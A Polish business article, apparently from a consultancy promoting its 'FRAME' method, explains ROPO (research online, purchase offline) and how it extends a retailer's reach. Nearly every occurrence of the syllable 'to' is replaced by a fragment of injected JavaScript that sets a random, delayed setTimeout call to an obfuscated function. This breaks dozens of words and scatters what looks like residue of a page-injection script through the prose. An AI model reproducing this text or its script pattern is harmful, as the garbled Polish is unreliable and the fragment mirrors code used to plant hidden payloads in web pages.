In Artykuły, Handel, Uniwersalne

Internet dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zupełnie nowe środowisko sprzedażowe. Wiele z tych nowych cech stanowi zagrożenie dla tradycyjnie myślących sprzedających. Choćby przez konkurencję ze strony tańszych w operowaniu graczy typu pure player czy łatwą porównywalność produktów, co utrudnia manipulowanie cenami.

Internet jako środowisko sprzedażowe. Łączne koszty Model Biznesowego są tu podobne jak off-line, gdyż tak czy inaczej wyrównuje je działanie prawa war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości (ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność w gospodarce się wyrównuje). Ale różne są jego proporcje w s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunku do tego, co firmy znają z off-line.

W Internecie sama tzw. operacja (lokalizacje, płace, zapas itd.) jest dość łatwa i tania. Za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wysoki jest koszt dotarcia do klienta, gdyż marketing w rozumieniu tradycyjnym nie jest wspierany w niewidoczny, ale skuteczny sposób przez Koncept Sprzedażowy. Już nie można liczyć na lokalizację, wygląd, wystawę, obsługę i inne elementy taniego, bo już zapłaconego przy innej okazji marketingu sprzedażowego.

Zmiana struktury Modelu Biznesowego w Internecie.

Ale nie wszystkie nowe cechy Internetu są zagrożeniem dla tradycyjnych graczy, wiele można wykorzystać na własną korzyść. Między innymi Internet pozwala oddzielić miłe (dla firmy) od niemiłego (i kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}townego). Czyli proces wybierania od kupowania, a ten z kolei od logistyki do końcowego klienta. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to może mieć szereg konsekwencji dla zarządzania magiczną formułą sprzedaży. Pozwala mianowicie skutecznie rozszerzyć obszar oddziaływania Konceptu, poza swój tradycyjny (naziemny) zasięg.

Obszar oddziaływania

Każdy Koncept Sprzedażowy ma swój zasięg oddziaływania. Ten zasięg dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wypadkowa zasięgu oddziaływania marketingu oraz logistyki. Jeśli chodzi o logistykę, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to można tu wyróżnić logistykę „do” czyli możliwość dotarcia do placówki, kluczową dla handlu naziemnego. Oraz logistykę „z”, czyli odbiór zakupionego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru i dostarczenie go do miejsca użytkowania. Ta z kolei jest kluczowa dla handlu w Internecie.

Całe środowisko interne dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe jest zupełnie odmienne od znanego ze sprzedaży naziemnej. Jednak szczególnie duże możliwości po stronie sprzedaży daje efekt, a właściwie zupełnie nowe zjawisko zwane slangowo ROPO. Zacząć jednak trzeba od podstaw czyli od magicznej formuły sprzedaży i sposobami zarządzania nią. To w tej formule ukryte są nowe możliwości jakie daje jej ROPO. Takie, których w żaden sposób nie miała do tej pory.

Magiczna formuła sprzedaży. Ona opisuje, a przede wszystkim pozwala zarządzać sprzedażą. W jej efekcie sprzedaż przestaje być zdarzeniem niezależnym (czy w dość przypadkowy sposób wynikającym z Konceptu Sprzedażowego firmy), a staje zrozumiałym i w dużej mierze świadomie podporządkowanym procesom w firmie.

Najważniejszą (najdroższą do zmiany), ale i o największym potencjale zmiany składową magicznej formuły jest ruch (kontakty z firmą). O nie najtrudniej, są też najdroższe, gdyż mówić trzeba do wszystkich, a wysłuchają tylko niektórzy. Nie ma też dyskretnego, ale bardzo skutecznego wsparcia ze strony Konceptu Sprzedażowego firmy.

Czym jest ROPO?

To Research On-line, Purchase Off-line, inaczej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to rozpoczęcie procesu sprzedaży w Internecie, a sfinalizowanie jej off-line.

Tradycyjne rozumienie ROPO. Jest ono rozumiane w uproszczeniu jako zastąpienie jednej z wizyt w placówce odwiedzinami na stronie WWW firmy.

Ale ROPO, przynajmniej potencjalnie, potrafi znaczenie więcej. Internet oznacza bowiem rozbicie procesu kupowania na proces poszukiwania informacji, proces kupowania (co ma kluczowe znaczenie dla sterowania sprzedażą). Zaś ROPO umożliwia także sięgnięcie poza tradycyjny zasięg oddziaływania Konceptu, czy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oddziaływania geograficznego (logistyka dotarcia i odbioru), oddziaływania marketingowego (nowej grupy docelowej) czy oddziaływania produk dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towego, w postaci nowe kategorii czy poszerzonych kategorii dotychczasowych. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ma jeszcze większe znaczenie dla zarządzania magiczną formułą sprzedaży.

Jak ROPO rozszerza zasięg oddziaływania firmy?

ROPO może (jeśli firma potrafi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wykorzystać) zmienić zasięg jej oddziaływania. W dodatku w tani i łatwy, a przede wszystkim mało ryzykowny (nie angażuje się dużych zasobów, łatwo się też wycofać z obietnicy, jeśli się jednak nie udało). To zaś stanowi przełom z punktu widzenia zarządzania magiczną formułą sprzedaży. I ogromny potencjał jej wzrostu.

ROPO dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sposób, aby złamać barierę obszaru oddziaływania

Zwykle proces kupowania wygląda w ten sposób. Klient przechodzi przez różne fazy, jednak zwykle (w świecie naziemnym) w tym samym miejscu (czy przynajmniej w tej samej firmie). Istnieje oczywiście konkurencja i klient porównuje firmy ze sobą, ale robi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to raczej łącznie, a nie na każdym etapie osobno i swobodnie wybierając, gdzie akurat zrealizuje ten etap transakcji.

Przepływ między różnymi podmiotami uczestniczącymi w procesie sprzedaży w Internecie jest wygodny, łatwy i bezkosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy. Dlatego też klient (kiedy już straci przyniesione ze świat off-line przywiązanie do marki handlowej) z łatwością przerzuca się między firmami na różnych etapach procesu.

Dodatkowym wymiarem jest wygoda, koszt, ale i atrakcyjność każdego z podprocesów. Zwykle proces wyboru i porównywania są dla klienta przyjemne, procesy logistyczne zaś uciążliwe i nieatrakcyjne. Także ta atrakcyjność i uciążliwość bardzo się zmienia, jeśli zostaną użyte unikalne możliwości nowego środowiska sprzedażowego, jakim jest Internet.

Proces zakupu on-line. Tu przede wszystkim rozbite są wyraźnie fazy zbierania informacji o produktach, wybierania produktu, a w końcu wybierania kanału zakupu. Jednak nawet w ramach każdej fazy widoczne są wyraźne różnice w s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunku do procesu znanego z zakupów off-line.

Etap procesu kupowania

Off-line

On-line

Uwagi

Dotarcie do źródeł informacji o produkcie

Trudne

Łatwe

Off-line dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to raczej tylko marketing producentów

Zbieranie informacji o produkcie

Głównie placówki

Głównie strony producentów

W off-line dominuje podejście „push”, on-line „pull”

Porównywanie produktów

Trudne

Łatwe

On-line są dedykowane rozwiązania, ale przede wszystkim porównywalność

Wybór produktu

Połączony z poprzednimi etapami

Łatwy

On-line nie musi mieć związku z kanałem sprzedaży

Zbieranie informacji o kanałach sprzedaży

Trudne i rzadkie

Łatwe i powszechne

On-line dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to proces niezależny, off-line łączny z produktem

Porównywanie kanałów sprzedaży

Prawie nie istnieje

Dominujące

Off-line porównanie następuje na poziomie całego procesu

Porównywanie produktu w kanale

Sporadyczne

Dominujące

Podstawowa różnica off- i on-line

Zakup produktu

Łatwe

Stawia wyzwania

Nadal klienci mają obawy przez wirtualnym zakupem

Dostawa i odbiór

Łatwe, darmowe

Stawia wyzwania, kosztuje

Proces ostatniej mili jest on-line odczuwalny dla zakupu

Wyrażenie opinii

Trudne

Trywialne

W on-line silnie wpływa na zachowania innych klientów

Off-line składniki procesu sprzedażowego są na ogół połączone w jeden proces, a przynajmniej ściśle ze sobą powiązane. Tym samym obszar oddziaływania ograniczony jest tym podprocesem, który jest najtrudniejszy czy najbardziej „dotkliwy”. Zwykle tym elementem jest logistyka, z jednej strony dotarcia do produktu czy kanału zakupu, z drugiej strony odbioru dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru.

Uwaga. „wygrzewanie”. ROPO dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to także możliwość przyspieszenia procesu informowania klientów, że w ich zasięgu pojawił się nowy podmiot, zwanego procesem wygrzewania. W ten sposób klienci szybciej się dowiedzą o nowej placówce, wystarczy, że będą w procesie poszukiwania i skorzystają do tego poszukiwania Internetu. A k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to go teraz w ten sposób nie wykorzystuje?

Tymczasem sprzedaż on-line rozdziela te procesy, a przynajmniej umożliwia klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi łatwe ich rozdzielenie. Tym samym klient może potrak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować je osobno, zaś sprzedający może zaproponować osobne rozwiązania, dopasowane do specyfiki podprocesu. I tak informacji o produktach poszukuje tam, gdzie jest dla niego najbardziej wiarygodna (gdyż trudność dotarcia do różnych źródeł jest porównywalna). Także produkty i ich ceny łatwo porównać, służy wręcz do tego specjalnie zaprojek dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towana infrastruktura. W końcu może wybrać kanał sprzedaży, wg jego cech (np. czas dostawy, wiarygodność, łatwość dostawy, łatwość i wiarygodność płatności), co najważniejsze w oderwaniu od poszukiwania informacji i wyboru produktu.

Dla sprzedającego, przyzwyczajonego do manipulowania klientem wykorzystując nieporównywalność produktów, trudność porównania kanałów sprzedaży czy niełatwą zmianę, jeśli jednak klient nie będzie zadowolony, takie rozbicie może być zabójcze. Na szczęście tu wkracza ROPO, zaś ROPO daje nowe możliwości.

ROPO pozwala sięgnąć dalej

A także głębiej i w miejsca do tej pory nie spenetrowane.

Marketing. Dzięki wykorzystaniu ROPO można rozszerzyć grupę, do której się do tej pory docierało. Ponieważ klient najczęściej dociera tu „od produktu”, np. pozycjonowanie „są drodzy” nie musi już być przeszkodą. Można w ten sposób wyeliminować działanie wielu stereotypów, skutecznie zniechęcających klienta do odwiedzin.

Można także dokładniej spenetrować rynek, docierając tam, gdzie do tej pory marketing, z natury rzeczy wybiórczy, nie potrafił czy nie zdołał dotrzeć. Można też tam dotrzeć szybciej, przyspieszając kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towne dla firmy wygrzewanie (dochodzenie do obrotów docelowych). Dlaczego marketing w ROPO dociera dokładniej? Gdyż adresuje klientów poszukujących (pull), inaczej mówiąc wszystkich, którzy używają tego medium. Marketing tradycyjny, z natury „push” dociera tylko tam, gdzie się go skieruje. A rzadko kieruje się go wszędzie, zawsze pozostaną „dziury”.

Logistyka. Dla wielu (na razie potencjalnych) klientów ograniczeniem dotarcia była logistyka. Placówka wydawała się daleka, na tyle daleka, że nie war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to było się fatygować. Częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też barierą był odbiór dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru. Tu już można przekonać, że fatygować się war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, a duża część wizyty zrealizować z wyprzedzeniem i wygodnie on-line. W szczególności ROPO może wręcz zredukować liczbę wizyt do jednej, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w dodatku starannie przygo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanej, a co z punktu widzenia logistyki „do” kluczowe, ze 100% konwersją.

Uwaga. „logistyka „do” też ma swoją konwersję”. Czyli nie każda wizyta kończy się zakupem (sukcesem zarówno dla kupującego jak i firmy). A przy konwersji np. 10% klient musi się liczyć ze (statystycznie) 9-cioma „pustymi” sprzedażowo przebiegami logistycznymi (co na pewno zniechęca go do przychodzenia, jeśli nie jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na pewno bardzo wygodne).

Nowe produkty. Wprowadzenie nowych produktów (a jeszcze bardziej poinformowanie o tym klientów) zawsze jest ryzykiem, wyzwaniem i przede wszystkim wysokim kosztem. ROPO pozwala z jednej strony przetes dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować nową kategorię (czy tylko nowe produkty), bez typowego dla testu ryzyka. Dodatkowo robi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tanio, zarówno pod kątem poinformowania o tym klientów – znów wykorzystanie marketingu typu „push”, przez klientów aktywnie poszukujących i docierających bezpośrednio do produktu jak i zarządzania ryzykiem zapasu.

Dodatkowa zaleta dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to fakt, że dzieje się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to także bez ryzyka dla pozycjonowania firmy. Jeśli np. wprowadzana kategoria jest odległa od tego, co firma już sprzedaje, ROPO pozwala rozszerzyć ofertę „bezboleśnie” marketingowo, praktycznie niezauważalnie dla obecnych klientów. Jeśli więc nowa kategoria mogłaby docelowo zaszkodzić firmie w pozycjonowaniu się jako specjalista, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ROPO pozwala dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ryzyko zmniejszyć.

Podsumowanie

ROPO dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie tylko i nie przede wszystkim przeniesienie części procesu obsługi klienta przez zakupem do Internetu. To przede wszystkim (przede wszystkim z punktu widzenia zarządzania magiczną formułą sprzedaży) poszerzenie zasięgu oddziaływania Konceptu Sprzedażowego. Poszerzenie geograficzne, ale też produk dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe czy sięgnięcie do nowych grup klientów, do tej pory nie zainteresowanych Konceptem, albo nie mających świadomości, że taki Koncept w ogóle istnieje.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.